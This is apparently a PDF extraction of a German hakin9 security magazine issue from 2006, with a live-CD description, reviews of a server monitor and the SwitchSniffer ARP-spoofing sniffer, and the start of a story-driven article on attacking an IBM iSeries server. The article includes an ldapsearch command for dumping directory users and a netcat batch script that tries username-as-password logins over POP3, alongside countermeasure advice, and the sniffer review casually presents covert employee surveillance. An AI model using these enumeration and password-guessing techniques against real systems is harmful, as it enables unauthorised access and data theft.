Darüber hinaus wurde das Nessus-Programm auf die Version 2.2.6 aktualisiert. h9l enthält ein Installationsprogramm (eine modifizierte Version der Knoppix-Skripte). Nach der Installation auf der Festplatte kann zusätzliche Software mittels portage (der Befehl emerge) installiert werden. Die grafische Umgebung von h9l ist Fluxbox mit dem ROX-Dateimanager.

Tutorials und Dokumentation

Das Archivmaterial befindet sich in Unterverzeichnissen _arch und das neue Material in den Hauptverzeichnissen (es gilt die oben angegeben Struktur). Beim Durchsuchen der CD von der gestarteten Distribution hakin9.live aus ist diese Struktur im Unterverzeichnis /mnt/cdrom verfügbar. Die Version 2.9-ng h9l entstand in Anlehnung an die Distribution Gentoo Linux und die Skripte livecd-tools. Die Werkzeuge, die in Gentoo-Repository nicht verfügbar sind, werden aus Paketen installiert, die sich im Verzeichnis /usr/local/portage oder /usr/local/bin befinden.

Die Dokumentation enthält u.a. die von der Redaktion vorbereiteten Tutorials. Zu den folgenden Artikeln stehen praktische Übungen bereit: Verwendung und Missbrauch von ICMP (zwei Tutorials), Automatisierung des Exploiting-Prozesses auf der Linux/x86-Plattform, Absenderauthentifizierung – Schutz oder Gefahr, Schreiben hochentwickelter Linux-Backdoors – Paketsniffing und Tutorial zum Artikel von Oliver Karow Umgehung von Netzwerkfirewalls (h9 1/2006). In den Tutorials wird davon ausgegangen, dass Sie hakin9.live verwenden. Dadurch vermeiden Sie Probleme mit verschiedenen Compilerversionen, unterschiedlichen Lokalisationen von Konfigurationsdateien oder Optionen, die zum Starten des Programms in einer bestimmten Umgebung erforderlich sind. l

Abbildung 1. Immer mehr nützliche Werkzeuge

Abbildung 2. Der Hammer Shadow Security Scanner

•

10

doc – Dokumentation in HTML-Format; hit – der absolute Hammer dieser Ausgabe: Shadow Security Scanner, einer der bekanntesten Sicherheitsscanner; eine Vollversion für hankin9-Leser (bis zu 5 IP-Adressen). Um das kostenlose Angebot wahrzunehmen, installieren Sie die Version von hakin9.live und schicken Sie eine E-Mail an [email protected] mit dem Betreff hakin9-Safety-lab SSS offer – Sie erhalten die Codes für die kostenlose Version. Das Angebot gilt bis zu 31. Mai 2006; art – Zusatzmaterial zu Artikeln: Listings, Skripts, benötigte Programme; tut – Tutorials; add – Bücher und andere Dokumente im PDF-Format (u.a.: Using PGP/GnuPG and S/MIME with Email, ICMP attacks against TCP, Writing Stack Based Overflows on Windows (4 parts + Examples); rfc – ein Paket von aktuellen RFC-Dokumenten.

•

hakin9 Nr. 2/2006

www.hakin9.org

GFI Network Server Monitor 7

Tools

Betriebssystem: Windows Lizenz: Kommerziell mir einer 10- oder 30-Tage-Trial-Version Zweck: Überwachen von Netzwerken und Netzwerkservern Homepage: http://www.gfi.com/ GFI Network Server Monitor ist ein Werkzeug, das einem Administrator das Scannen eines Netzwerks nach Software- und Hardwarefehlern ermöglicht. Dadurch kann man viele Probleme entdecken, noch bevor sie von den Usern gemeldet werden.

Schneller Start: Stellen Sie sich vor Sie sind der Administrator eines Netzwerks, zu dem zum Beispiel Windows 2003 Server und SUSE-Server gehören, die Dienste wie HTTP, SSH und FTP zur Verfügung stellen. Suchen Sie nach einem Werkzeug, das alle Dienste ständig überwacht und über aufgetretene Probleme berichtet? Dann sollte der GFI Network Server Monitor das richtige Programm für Sie sein. Wir beginnen mit dem Erstellen einiger Scanvorgänge, die den SUSE-Server betreffen. Zu diesem Zweck erstellen wir ein neues Verzeichnis, das die Regeln und Einstellungen für die Überwachung beinhaltet. Wir wählen die Option Monitoring Checks Configuration aus, klicken sie mit der rechten Maustaste an und wählen im Kontextmenü die Option zum Erstellen eines neuen Verzeichnisses. Durch Anklicken des neu erstellten Verzeichnisses mit der rechten Maustaste können wir die Scaneinstellungen modifizieren. Zunächst geben wir die IP-Adresse des zu untersuchenden Hosts an und setzen den Wert des Feldes Error Threshold auf 1. Möchten wir eine sichere Verbindung zum Server aufbauen, sollten wir die Option Certificate authentication im Reiter Logon credentials auswählen. Unter Action können wir einstellen, auf welche Art und Weise über Probleme mit dem Netzwerk berichtet werden soll. Zu diesem Zweck wählen wir Alert -> Settings aus und markieren die entsprechenden Felder. Möchten wir ausschließlich mithilfe von E-Mails benachrichtigt werden, sollten wir die Felder Send a SMS message to und Send a network message to deaktivieren. Nun können wir die Scanregeln festlegen. Wir klicken das Verzeichnis doppelt an, betätigen anschließend die rechte Maustaste und wählen im Kontextmenü die Option zum Hinzufügen eines neuen Scanvorgangs aus. Danach wählen wir in der Liste von Regeln die Option HTTP aus und geben die IP-Adresse oder den Hostnamen des Servers an. Möchten wir nur wissen, ob eine Homepage verfügbar ist, aktivieren wir die Option Check for availability only. Auf diese Art und Weise haben wir die erste Regel erstellt. Nehmen wir aber an, wir würden gerne wissen, ob der Prozess des Apache-Servers korrekt läuft. Zu diesem Zweck erstellen wir eine neue Regel und wählen die Option Generic Secure Shell (SSH) Check aus.

12

hakin9 Nr. 2/2006

Es erscheint ein Fenster mit Scanskripten, das einige vordefinierte Skripte beinhaltet, die von der Firma GFI Software zur Verfügung gestellt werden. Wählen wir nun das Apache-Skript aus und geben die IP-Adresse des Servers an. Um zu prüfen, ob der FTP-Server korrekt funktioniert, müssen wir eine Regel erstellen, mit deren Hilfe ein vollständiges Einloggen auf dem FTP-Server durchgeführt werden kann. Hierbei gehen wir genauso vor wie im Falle des Apache-Servers. Diesmal wählen wir aber in der Liste von Regeln die Option FTP aus und aktivieren Use FTP site authentication. Vergessen Sie nicht, die Details des Einlogvorgangs anzugeben. Nun erstellen wir einige Regeln für Rechner, auf denen Windows Server 2003 läuft. Zu diesem Zweck erstellen wir ein neues Verzeichnis mit denselben Einstellungen wie für den SUSE-Server (Logon credentials) für den Windows-Server an. Wir gehen in das neu erstellte Verzeichnis, erstellen eine neue Regel CPU Usage und setzen die maximale CPU-Auslastung auf 100%. Außer einer standardmäßigen Fehlermeldung möchten wir auch, dass das Programm den Server erneut startet, falls die CPU-Auslastung 100% beträgt. Zu diesem Zweck wählen wir Actions -> Reboot Computer / Restart Services, und anschließend Reboot the following computer aus. Es bleibt nur noch zu prüfen, ob alle Regeln korrekt funktionieren. Wir wählen also die Option Monitoring Checks Status aus. Wir können dieselben Informationen erhalten, indem wir im WWW-Browser die Adresse http:// Ihr_Server.com/:11695 angeben. Funktioniert ein Dienst korrekt, erscheint vor der Regel für diesen Dienst die Meldung Succeeded – Failed angezeigt. Im zweiten Fall wird GFI Network Server Monitor entweder eine E-Mail-Nachricht (SUSE-Server) schicken oder das System erneut starten (Windows Server 2003). Andere nützliche Funktionen: Das Programm ist sehr flexibel – Whois- und Traceroute-Anfragen verwendet werden. Ist in einem Netzwerk ein Server vorhanden, der SNMP unterstützt, stellt das Programm zusätzlich die Funktionen SNMP Audit und SNMP Walk zur Verfügung. Außerdem können wir eine Liste von Rechnern, die aktuell im Rahmen einer Domäne laufen, sowie die auf einem Rechner laufenden Prozesse anfordern. Stefan Lochbihler

www.hakin9.org

Tools

SwitchSniffer System: Windows NT4/2000/XP/2003 Lizenz: Freeware Zweck: Überwachen von LAN-Netzwerken Homepage: http://www.nextsecurity.net SwitchSniffer ist ein einfaches, kostenloses Tool zum Überwachen von lokalen Computernetzwerken, das über grundlegende Mechanismen zum Verwalten und Aufdecken von Missbräuchen verfügt.

Schneller Start: Wir arbeiten seit kurzem in einer kleinen Handelsfirma als Netzwerkadministrator. Unser Chef hat uns beauftragt herauszufinden, welche Mitarbeiter in ihrer Arbeitszeit Instant-Messenger oder Peer-to-PeerApplikationen benutzen. Da unser Arbeitsplatz an das System Windows angelehnt ist, das Firmennetzwerk auf Switches basiert und der Arbeitgeber keine kommerziellen Werkzeuge, die Penetrationstests ermöglichen, erworben hat, müssen wir uns was anderes überlegen. Wir beschließen eine kostenlose Applikation namens SwitchSniffer zum Sniffing in switchbasierten Netzwerken zu verwenden. Zum Starten des Programms benötigen wir Administratorrechte — sonst kann die Applikation instabil laufen. Nachdem wir das Programm zum ersten Mal gestartet haben, wird ein Optionsfenster angezeigt. Wir wählen im Reiter Network jene Netzwerkschnittstelle aus, an der wir lauschen möchten. Darüber hinaus ist es sinnvoll, auf den Reiter Spoof zu gehen und Spoofing Types auf <-> Gateway zu setzen. Dies wird in manchen Netzwerk benötigt, damit der Sniffer richtig funktioniert. Wir fangen mit dem Scannen des lokalen Netzwerks (Button Scan) an. Das Programm läuft schnell und entdeckt alle aktiven Hosts in unserem Netzwerksegment. Diese werden in der Liste Local Hosts Info und im Baum Up Hosts angezeigt. Wir sollen den Baum erweitern und mit der rechten Maustaste Select All auswählen, um alle aktiven Hosts zu untersuchen. Anschließend können wir den Button Start betätigen – daraufhin wird das Programm beginnen, Informationen aus dem Netzwerk abzufangen. Im Reiter Local Hosts Info wird eine Information über die Anzahl der Rechner im lokalen Netzwerk angezeigt. SwitchSniffer stellt u.a. folgende Informationen zur Verfügung: Betriebssystem, Name des Rechners, IP-Adresse, MAC-Adresse und Hersteller der Netzwerkkarte. Darüber hinaus werden die Größe der aus dem Netzwerk zu beziehenden Pakete, als auch die Download- und UploadGeschwindigkeit angegeben. Mithilfe von SwitchSniffer können wir die Nutzung des Netzwerks durch einzelne Mitarbeiter überwachen. Auf der Grundlage dieser Informationen werden wir feststellen können, welche Mitarbeiter weniger fleißig sind als die anderen. Der Reiter Remote Hosts Info ist selbsterklärend und erhält Informationen über Remote-Hosts. Sessions Info liefert dagegen

www.hakin9.org

Informationen über derzeit laufende Sessions. Die Reiter im linken Fenster beinhalten einen Baum für lokale Hosts (Local), einen Baum für Remote-Hosts (Remote), sowie einen Baum für Dienste (Services). Um die Aufgabe, die wir von unserem Chef bekommen haben, zu erledigen, genügt es, im linken Programmfenster auf den Reiter Services zu gehen. Wir können in der Liste Dienste finden (Ports, die für Internet-Messenger typisch sind, z.B. jabber-client(5223)). Erweitern wir einen Dienst, werden die Remote-Hosts angezeigt, mit denen die User kommunizieren. Erweitern wir den Baum, bekommen wir neben der Adresse eines Remote-Hosts, lokale Hosts zu sehen – das sind die von unserem Chef gesuchten Mitarbeiter. Andere nützliche Merkmale: Das Programm ermöglicht das Blockieren von ausgewählten Sessions und Verbindungen. Wir können also die in einem Netzwerk zugelassenen Dienste nicht nur analysieren, sondern auch verwalten. Außerdem können wir uns die TrafficFiltering-Regeln anschauen. Das Programm ermöglicht auch das Aufdecken von ARP Spoofing (Reiter Detect and Alert in Programmoptionen). Nachteile: Das Programm ist nicht so umfangreich, wie etwa dsniff oder Ettercap. Außerdem können Probleme mit der Stabilität auftreten, da das Programm immer noch lediglich in einer Beta-Version verfügbar ist. Paweł Charnas

Abbildung 1. SwitchSniffer im Einsatz

hakin9 Nr. 2/2006

13

Knacken eines IBM iSeries-Servers Thema der Ausgabe Shalom Carmel

Schwierigkeitsgrad

iSeries- bzw. AS/400-Server werden in Fabriken, Banken, Versicherungsgesellschaften, Kasinos und Regierungsinstitutionen eingesetzt. Man kann ziemlich sicher sagen, dass Geld iSeriesbasierten Anwendungen folgt. Bei mehr als 300.000 Kunden weltweit und Millionen von Benutzern kann man auch ziemlich sicher sein, dass sich bösartige Hacker finden, die sie für eigene Zwecke auszunutzen suchen.

D

er iSeries- bzw. AS/400-Server gehört zur Serverfamilie für den mittleren Marktbereich. Er wird in Multiuser-, Multitasking-OLTP und in Datenverarbeitung eingesetzt. In iSeries-Servern ist das DB2-Datenbanksystem integriert. Sie können sowohl für Legacy-Software (die meist in der COBOLoder RPG-Sprache geschrieben ist), als auch für modernere Anwendungen (in C, C++ und Java) verwendet werden. Weitere Skriptsprachen, die für diese Plattform und nur für die IBM-Welt verfügbar sind, sind CLP und REXX. Früher brauchte man, um mit einem AS/400-Server zu arbeiten, ein spezielles, mit einem Twinaxkabel angeschlossenes Terminal. Heutzutage ist die übliche Methode, auf iSeries-zuzugreifen, ein Telnet-Client, der einen Terminal emuliert. Twinaxterminals werden selten eingesetzt, außer wenn sie als Systemkonsole dienen. Außer Telnet verfügt ein moderner iSeries über einen integrierten Satz von TCP/IP-Servern, darunter für FTP, TFTP, SMTP, POP3, DNS, LDAP, DHCP, CIFS und ODBC sowie für andere, proprietäre Protokolle. iSeries-Rechner werden auch als Applikationsserver eingesetzt, denn Tomcat, WebSphere, Apache und Domino stehen für diese Plattform

14

hakin9 Nr. 2/2006

In diesem Artikel erfahren Sie... • • • • • •

wie iSeries-Nutzer und Standardpasswörter enummeriert werden können, wie einige Benutzereinschränkungen umgangen werden, wie Befehle auf einem iSeries-Server ferngesteuert ausgeführt werden können, wie iSeries-Quellcode ohne einen Editor geschrieben werden kann, wie Anmelde-Bildschirme abgefangen werden können, wie der Datenbankkatalog abgefragt werden kann.

Was Sie vorher wissen/können sollten... • • • •

www.hakin9.org

wie man mit dem Windows-Betriebssystem arbeitet, was die Grundlagen der Datenbankverwaltung sind, was die Grundlagen der TCP/IP-Anwendungsprotokolle sind, was die Grundlagen der Softwareentwicklung sind.

Knacken eines IBM iSeries-Servers

iSeries-Clients

Die optimale Benutzererfahrung und Funktionalität werden erreicht, wenn die Clientsoftware die Telnet-Variante 5250 unterstützt. Für iSeries werden daher spezielle kommerzielle und nicht-kommerzielle Emulatoren entwickelt. Die erwähnenswerten darunter sind: •

•

•

IBM Client Access for iSeries – Außer einem Terminalemulator, für den eine Lizenz erforderlich ist, enthält CA400 eine Reihe von Tools und Dienstprogrammen wie ODBC-Treiber, grafische GUIs für Systemverwaltung, Tools zum Transfer von Dateien und viel mehr. Wenn Sie einen iSeries zur Verfügung haben, finden Sie darauf eine fensterbasierte Version von CA400 im /QIBM/ProdData/CA400/ Express/Install/Image Verzeichnis. In vielen Fällen ist der Windows NetShare CIFS Dienst aktiv und standardmäßig enthält er einen Share namens QCA400, der auf das CA400-Verzeichnis verweist. Die CA400-Homepage ist http:// www-03.ibm.com/servers/eserver/ iseries/access/ ; tn5250j ist ein quelloffener, Java-basierter tn5250-Client, verfügbar unter http://tn5250j.sourceforge.net/ ; Obwohl Mochasofts Produkte kommerzielle Software sind, werden sie zu einem durchaus sinnvollen Preis angeboten und können vor dem Kauf als Shareware ausprobiert werden – http:// www.mochasoft.dk.

zur Verfügung. Gebrauchte Exemplare werden bei eBay für 4.000 bis 5.000 Dollar angeboten.

iSeriesSicherheitsprobleme

Wenn wir mit einer Oracle-, Microsoft SQL- oder gar DB2-Datenbank unter *NIX oder Windows arbeiten, unterscheidet sich die Liste der Serverbenutzer von der Liste derjenigen, die auf die Datenbank zugreifen können. Auf unserer Plattform gibt es diese Abgrenzung nicht. Dieselbe Kombination von Benutzername und Passwort, mit der wir uns via Telnet anmelden, kann auch für FTP, ODBC und alle

Abbildung 1. Der Telnet-Anmeldebildschirm von iSeries anderen Dienste verwendet werden, die eine Benutzerauthentifizierung erfordern. Der Unterschied besteht in den Zugriffsberechtigungen (authority) auf iSeries-Objekte: Befehle, Programme, Dateien und Bibliotheken (es gibt auch ganz esoterische Objektarten, mit denen brauchen wir uns hier aber nicht zu beschäftigen). Die Berechtigungen werden dem ACL-Modell (Access Control List) nach verwaltet und an einzelne Benutzer, ganze Gruppen oder konkrete Rollen verliehen. Für viele TCP/IP-Dienste stellt IBM APIs, oder programmierbare Haken in Autorisierung- und Authentifizierungsprozesse bereit. Wenn Benutzer X via Telnet auf eine interaktive OLTP-Anwendung zugreifen, allerdings kein FTP nutzen darf, müssen wir entweder unsere eigene Software dafür schreiben oder ein Produkt Dritter kaufen. iSeries-Server kommen von IBM mit den meisten TCP/IP-Diensten standardmäßig aktiviert. Ein iSeries-Administrator ist häufiger ein COBOL-Programmierer als ein Systemadministrator, der pop3 von ftp zu unterscheiden weiß. Diese Dienste werden typischerweise im Hintergrund aktiv gelassen, auch wenn sie von der Geschäftslogik her überflüssig sind. Allzu häufig besteht das Sicherheitsmodell einer OLTP-Anwendung in der Einschränkung der Benutzer auf einen vordefinierten Satz von Bildschirmen und Menüs, ohne dass ACL-basierte Sicherheitsmaßnahmen ausreichend berücksichtig werden.

www.hakin9.org

Solch ein Sicherheitsmodell bildet in Verbindung mit fehlender Sicherheitsverwaltung der TCP/IP-Dienste den geraden Weg zu einer Katastrophe.

Der Hintergrund des Szenarios

Die Trupex Inc. Corporation ist Hersteller und Verkäufer von Sargvorrichtugen. Einige ihrer Anwendungen, darunter Bestellungsaufnahme und Buchforderungen werden auf einem modernsten iSeries-Server von IBM betrieben. Die Ursache, warum diese Plattform bevorzugt wurde, ist ihre Verfügbarkeit, Stabilität und Sicherheit, die der IT-Manager in seiner 15-jährigen Erfahrung erlebt hat. Julius Krupp war früher ein ITHelpdeskangestellter in einer anderen Firma, sein allzu neugieriger Charakter sorgte aber für ständige Konflikte mit seinen Vorgesetzten und schließlich auch für das Ende seiner Karriere in diesem Unternehmen. Er hat bei Trupex eine ähnliche Stelle angestrebt, als ihm aber die des Kundensupporttechnikers angeboten wurde, hat er sie akzeptiert. Nun ist er damit unzufrieden. Er glaubt, bei der Beförderung übergangen worden zu sein. Er meint, eine Kompensation seitens seines Arbeitgebers wäre angezeigt und entscheidet sich, einen großen Coup zu landen, indem er die Kreditkarteninformationen aus der DB2-Datenbank von iSeries stiehlt. Balthasar Ogus ist der für die unterbrechungslose Arbeit der iSeries-, Windows- und E-Mailserver zuständige BOFH. Die aktuelle Konfiguration

hakin9 Nr. 2/2006

15

Was in ist

Tabelle 1. ldapsearch-Parameter zum Auslesen von Active Directory Accounts

LDAP-Clients

Parameter

Bedeutung

-h

Der Name des AD-Servers.

-p

Der Portname. In unserem Fall verwenden wir 3268, den Port des AD-Globalverzeichnisses statt des LDAP-Standardports 389, weil das Globalverzeichnis eine flache Ansicht aller lokalen Domains bietet.

-l

Timeout in Sekunden. Eine umfangreiche LDAP-Abfrage kann wesentlich länger als die Standardvorgabe von 15 Sekunden brauchen.

-D

-w

(optional)

(optional)

Der Distinguished Name des abfragenden Benutzers. Dieser Parameter ist erforderlich, wenn der LDAP-Server fürs Ablehnen anonymer Abfragen eingerichtet ist. Dann sollte der -D-Parameterwert wie folge aussehen: cn=Julius Krupp, OU=CS,DC=UK,DC=Trupex Das Passwort des unter -D angegebenen Accounts.

hat er von seinem Vorgänger vor ein paar Jahren geerbt und bisher genügte es ihm, sich ein paar Mal pro Tag auf dem iSeries anzumelden und den Systemstatus zu überprüfen. Ab und zu tut er das, wenn ihm eingefrorene Operationen, Anmeldeschwierigkeiten und andere unvorgesehene Probleme gemeldet werden. Sonst ist er mit seinen anderen, weit wichtigeren Aufgaben viel zu beschäftigt.

Benutzerenummerierung Julius arbeitet auf einem Arbeitsplatzsystem mit einem vom Standardimage installiertem Softwaresatz, darunter dem iSeries Client Access mit iSeries-Emulation (siehe Kasten iSeries-Clients), leider verfügt er aber über keinen Account auf dem Server. Julius hat vor, herauszufinden, was für Benutzer auf dem iSeries-Server registriert sind, um ihre Accounts in seinem Exploit auszunutzen. Er nimmt an, dass einige Accountnamen auf dem iSeries denen aus dem Active Directory des Unternehmens ähneln. Als ein Mit-

arbeiter von Trupex verfügt er natürlich über einen aktiven Account auf dem Active Directory Server. Er installiert einen LDAP-Client (siehe Kasten LDAP clients) und ist eine Stunde später im Stande, die Benutzerliste auf seinen PC herunterzuladen. Julius erinnert sich, dass eine Telnet-Sitzung über den Status des Benutzerprofils informiert und entscheidet sich, die vom AD ausgelesenen Accounts im iSeries-Anmeldebildschirm auszuprobieren. Er versucht zuerst einfach, sich mit Passwörtern anzumelden, die gleich wie die jeweiligen Benutzernamen sind. In den zwei ersten Versuchen erhält er die folgenden Meldungen: CPF1120 – User AABBA does not exist. CPF1120 – User AANGEL does not exist.

Beim dritten Versuch, mit dem Benutzer AAPCZI, meldet das System: CPF1107 – Password not correct for user profile.

§

Abbildung 2. FTP-Verbindungsversuch

16

hakin9 Nr. 2/2006

www.hakin9.org

Es steht uns eine lange Reihe kostenloser LDAP-Tools zur Wahl. Die zwei erwähnenswerten sind LdapBrowser von Softerra und das Befehlszeilentool ldapsearch, das einen Teil der kostenlosen SunONE Directory Server SDK bildet. Die Syntax von ldapsearch ist wie folgt: $ ldapsearch –h adserver \ –p 3268 –l 3600 \

\

"(&(cn=*)(objectclass=user))" cn samaccountname > users.txt

Die Parameter des ldapsearch-Befehls sind in Tabelle 1 angeführt.

Nun kennt Julius einen auf dem Server gültigen Benutzernamen. Er versucht es noch mit dem Benutzer AAPFEL, diesmal erhält er aber die Nachricht: CPF1116 Next not valid sign-on attempt varies off device.

§

Julius kommt zu dem Schluss, dass diese Methode trotz der informativen Meldungen des interaktiven TelnetServers die Aufmerksamkeit des iSeries-Administrator auf ihn richten kann, denn wann immer ein Gerät ausgehängt (varied off) wird, wird der Systemadministrator benachrichtigt. Er könnte zwar einen teilweisen Denial of Service auslösen, indem er den virtuellen Speicher des Geräts ausschöpft, das ist aber nicht seine Absicht. Julius entscheidet sich für einen anderen Ansatz. Jetzt sucht er nach einem weniger auffälligen Weg ins

Sniffing von iSeries-Passwörtern

Die klassischen iSeries-Verbindungen werden für die Übertragung nicht verschlüsselt. Das bezieht sich auf Telnet, FTP, ODBC, POP3 und fast alle anderen Dienste. Die Plattform unterstützt sichere Versionen von Telnet und FTP sowie SSH, es wird allerdings gezweifelt, ob die sicheren Modelle auch wirklich in der iSeries-Welt breiter eingesetzt werden.

Was in ist

Listing 1. Ein Skript zur manuellen POP3-Enummerierung < > < > < > < > < > < > <

+OK POP3 server ready USER AANGEL +OK POP3 server ready PASS AANGEL -ERR Logon attempt invalid CPF2204 USER AAPCZI +OK POP3 server ready PASS AAPCZI -ERR Logon attempt invalid CPF22E2 USER QSYSOPR +OK POP3 server ready PASS QSYSOPR -ERR Logon attempt invalid CPF22E3

Tabelle 2. POP3-Ausgabecodes Ausgabecode

Bedeutung

CPF2204

Benutzerprofil nicht gefunden.

CPF22E2

Inkorrektes Passwort für das Benutzerprofil.

CPF22E3

Benutzerprofil ist gesperrt.

CPF22E4

Das Passwort für das Benutzerprofil ist erloschen.

CPF22E5

Kein Passwort ist mit dem Benutzerprofil assoziiert.

Tabelle 3. Vergleich der Protokolle bei der Benutzerenummerierung Feature

Telnet 5250

FTP

POP3

Angabe, ob der Benutzer existiert.

Ja

—

Ja

Angabe, dass das Passwort inkorrekt ist.

Ja

—

Ja

Angabe erfolgreicher Anmeldung.

Ja

Ja

Ja

Angabe eines Problems mit dem Profil, Ja wenn das Passwort korrekt erraten wurde.

—

Ja

Sperrung des Benutzerprofils.

Ja

Ja

Ja

Umgehen der Sperrpolicy des Terminals.

—

Ja

Ja

Keine Überwachung der Sicherheits-API.

—

—

Ja

Listing 2. Ein Skript zur automatisierten POP3-Enummerierung echo off setlocal set AS400Host=as400.trupex.com set POP3=110 set UsersFile=pop3_as400_users.txt set ScanResults=nc_pop3_scan.txt set TempFile=}pop3{.txt for /F %%U in (%UsersFile%) do ( echo user %%U > %TempFile% echo pass %%U>>%TempFile% echo quit>>%TempFile% echo ======= %%U =========>>%ScanResults% type %TempFile% | nc -i 1 -w 1 %AS400Host% %POP3%>>%ScanResults% ) endlocal del %TempFile%

18

hakin9 Nr. 2/2006

www.hakin9.org

System. Zuerst scannt er den Server mit Nmap und stellt fest, dass mehrere Ports offen stehen, darunter 21 und 110, die normalerweise von FTP und POP3 genutzt werden. Julius überprüft, ob die Ports echt sind. Wegen des Charakters der iSeries-Benutzeraccounts sind FTPBenutzer mit normalen interaktiv angemeldeten Benutzern identisch. Anders als bei Telnet verursacht ein ungültiger Anmeldeversuch via FTP keine Aushängung des Clientgeräts und ist daher schwieriger zu bemerken. Zuerst versucht Julius es mit FTP (siehe Abbildung 2). Das Problem mit FTP ist, dass Julius nicht weiß, ob AARCHERs Passwort falsch ist oder ob AARCHER kein gültiger Account ist. Wegen dieser Uneindeutigkeit ist FTP eine beliebte Stelle für Sicherheitsfallen. Julius entscheidet, dass er FTP als ein letztes Mittel betrachtet und nimmt sich stattdessen POP3 vor. Er baut eine Telnet-Verbindung zu Port 110 auf und findet dort überrascht einen echten POP3-Server, der auf dem iSeries-Rechner läuft. Julius googelt nach Informationen über POP3 und iSeries und erfährt, dass dieses Protokoll auf dieser Plattform ähnlich wie Telnet informative Fehlermeldungen ausgibt. Er liest auch, dass keine Sicherheits-APIs mit POP3 assoziiert sind – desto besser seine Chancen, nicht entdeckt zu werden.

Vergleich zwischen Benutzerenummerierung für Telnet, FTP und POP3

Wenn verfügbar, erweist sich das POP3-Protokoll als die beste Wahl für Benutzerenummerierung. Es liefert viele Informationen und hinterlässt – vorausgesetzt, dass die Systemsicherheitsprüfung inaktiv ist – praktisch keine Spuren. Sogar wenn Systemsicherheitsprüfung aktiviert ist, sind die Logeinträge für Authentifizierungsfehler nicht detailliert genug, als dass die Angriffsquelle erfolgreich ermittelt werden kann. Mehr Details finden Sie in Tabelle 3.

Knacken eines IBM iSeries-Servers

Er probiert noch ein paar Benutzeraccounts aus (siehe Listing 1). Die ausgegebenen Fehlercodes (und einige, die er nicht erhält) sind in Tabelle 2 erklärt. Julius entscheidet sich, eine provisorische Stapeldatei (siehe Listing 2) für Windows zu schreiben, um die aus Active Directory ausgelesene Liste Stelle für Stelle auszutesten. Er wählt netcat als sein Tool. Die pop3_as400_users.txt-Datei enthält die Accountsliste, und die Ergebnisse werden in die nc_pop3_ scan.txt-Datei eingetragen. Das netcat-Programm muss sich auf dem Ausführungspfad befinden. Julius lässt seinen Rechner für die Nacht an, schaltet den Bildschirm ab und geht nach Hause, den wohlverdienten Feierabend zu genießen. Am nächsten Morgen ist das Skript mit seiner Arbeit schon fertig, und die nc_pop3_scan.txt-Datei enthält seine Ergebnisse (siehe Listing 3). Julius sucht die Datei nach drei Benutzertypen durch: CPF22E2

Listing 3. Ein Abschnitt der Ausgabe des POP3Enummerierungsskripts ======= mwhite ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF2204 ======= nanaftp ========= +OK POP3 server ready +OK POP3 server ready +OK start sending message ======= napfel ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E2 +OK server quitting ======= nawat ========= +OK POP3 server ready +OK POP3 server ready -ERR Logon attempt invalid CPF22E3

bedeutet, dass das Benutzerprofil gültig, das Passwort aber unbekannt ist. CPF22E4 bedeutet, dass der Benutzer zum gegebenen Zeitpunkt nicht angemeldet werden kann, und vielleicht ist das eine Gelegenheit, etwas Social Engineering an Kollegen vom IT-Helpdesk zu prak-

Gegenmaßnahmen gegen Benutzerenummerierung

Um der Arbeit von Balthasar, dem Administrator, gerecht zu werden, sind die Systemeinstellungen, die fürs Aushängen der Terminalgeräte bei misserfolgten Anmeldeversuchen sorgen, korrekt definiert. Die QMAXSIGN-Option legt fest, wie viele misserfolgte Anmeldeversuche zulässig sind, und QMAXSGNACN – was danach zu tun ist. Julius wurde gewarnt, dass der nächste Misserfolg das Gerät aushängt. Die Frage ist, ob Balthasar den Bericht über misserfolgte interaktive Anmeldeversuche liest, und die Antwort darauf: wahrscheinlich nicht. Diese Warnungen werden nicht in der System Operators Nachrichten-Warteschlange angelegt, die oft durch iSeriesAlerttools abgefangen wird, sondern in der Systemlogdatei, die typischerweise manuell ausgelesen wird. Balthasar hat auch einiges vernachlässigt, was das Risiko einer Benutzerenummerierung vermindern würde. Er könnte die nach misserfolgten Anmeldeversuchen ausgegebene Nachricht auf einen unschuldigen Text einstellen. Er ließ überflüssige Dienste, wie POP3, aktiv. Wenn man einen Dienst nicht nutzt, ist dieser zu deaktivieren. Wenn Sie bei einer der wenigen Institutionen arbeiten, die iSeries zum Empfangen eingehender E-Mails einsetzt, seien Sie sich zumindest der Gefahren bewusst Balthasar hat nicht häufig und unregelmäßig überprüft, ob Standardpasswörter eingestellt sind, obwohl es ein Tool gibt, das es automatisch erledigt – den ANZDFTPWD-Befehl. Letztendlich hat Balthasar die Sicherheitsprüfung nicht aktiviert, die jegliche misserfolgten Anmeldeversuche aufzeichnen würde, auch die via POP3. Diese Prüfung ist also die einzige Möglichkeit, wegen fehlender Berechtigungen misserfolgte Zugriffe auf iSeries-Ressourcen abzufangen. Dieser Konfigurations- und Verwaltungsfehler kostet Trupex teures Lehrgeld. Offensichtlich haben wir es mit einem Kompromiss zwischen einfacher technischer Verwaltung und der Sicherheit zu tun. Eine Firmenpolitik, die Standard-Benutzernamen vorgibt, bedeutet, dass die Namen auf allen Systemen erratbar sind. Die Verwendung von Vorlagenimages für alle Arbeitsplätze spart zwar eine Menge Zeit, stellt aber einigen Benutzern unerwünschte Funktionalitäten bereit.

www.hakin9.org

tizieren. CPF22E3 und +OK start sending message bedeutet, dass der Benutzer das Standardpasswort verwendet. Julius stellt fest, dass es 45 Accounts gibt, die meisten davon aktiv, aber mit unbekannten Passwörtern. Er weiß allerdings auch, dass er mit NANAFTP ins Schwarze getroffen hat (siehe Listing 3). Der Name dieses Benutzers ist zugleich sein Passwort.

Erstellung einer Inventarliste

Julius hat es geschafft, einen Zugang zum iSeries-Server zu finden, es ist aber nur der erste Schritt seiner Mission. Jetzt muss er die Speicherstelle des Informationsschatzes ermitteln und alle darauf aufgelegten Zugriffseinschränkungen umgehen. Active Directory listet NANAFTP als FTP finance auf. Julius weiß, dass dieser Benutzeraccount zur Übertragung von Dateien zwischen verschiedenen Systemen eingesetzt wird und wahrscheinlich nur einen sehr beschränkten Ziugriff auf die iSeries-Ressourcen hat. Dennoch versucht Julius, sich interaktiv via Telnet mit NANAFTP als Benutzernamen und Passwort anzumelden. Wie erwartet, bekommt er direkt nach der Anmeldung den Bildschirm aus Abbildung 3 zu sehen. Julius versucht einen Trick, mit dem die erzwungene automatische Abmeldung verhindert werden kann.

hakin9 Nr. 2/2006

19

Was in ist

